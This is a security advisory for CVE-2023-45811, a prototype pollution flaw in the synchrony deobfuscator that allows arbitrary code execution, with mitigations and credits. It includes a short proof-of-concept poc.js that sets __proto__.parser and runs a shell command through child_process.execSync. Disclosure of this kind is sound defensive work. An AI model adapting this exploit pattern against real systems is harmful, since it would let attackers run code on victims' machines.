Advisory

GHSA-jg82-xh3w-rhxx

Also known as: CVE-2023-45811

Summary

Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution

Details

Impact

A __proto__ pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.

Summary

A __proto__ pollution vulnerability exists in the [LiteralMap] transformer allowing crafted input to modify properties in the Object prototype.

When executing in Node.js, due to use of the prettier module, defining a parser property on __proto__ with a path to a JS module on disk [causes a require of the value][prettier/src/main/parser.js] which can lead to arbitrary code execution.

Patch

A fix has been released in [email protected].

Mitigation

  • Upgrade synchrony to v2.4.4
  • Launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flag

Proof of Concept

Craft a malicious input file named poc.js as follows:

// Malicious code to be run after this file is imported. Logs the result of shell command "dir" to the console.
console.log(require('child_process').execSync('dir').toString())

// Synchrony exploit PoC
{
  var __proto__ = { parser: 'poc.js' }
}

Then, run synchrony poc.js from the same directory as the malicious file.

Credits

This vulnerability was found and disclosed by [William Khem-Marquez][SteakEnthusiast].

[LiteralMap]: src/transformers/literalmap.ts
[SteakEnthusiast]: https://github.com/SteakEnthusiast
[disable-proto]: https://nodejs.dev/en/api/v20/cli/#--disable-protomode
[prettier/src/main/parser.js]: https://github.com/prettier/prettier/blob/2.5.1/src/main/parser.js#L53-L63

Severity

High Basis: The source's own band: HIGH

Dates

Published
2023-10-18 18:27 UTC
Modified
2025-07-22 15:37 UTC

Affected packages and fixes

deobfuscator

npm · All systems

Affected

  • introduced 2.0.1, fixed 2.4.4 (semver)

Fixed versions

2.4.4

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences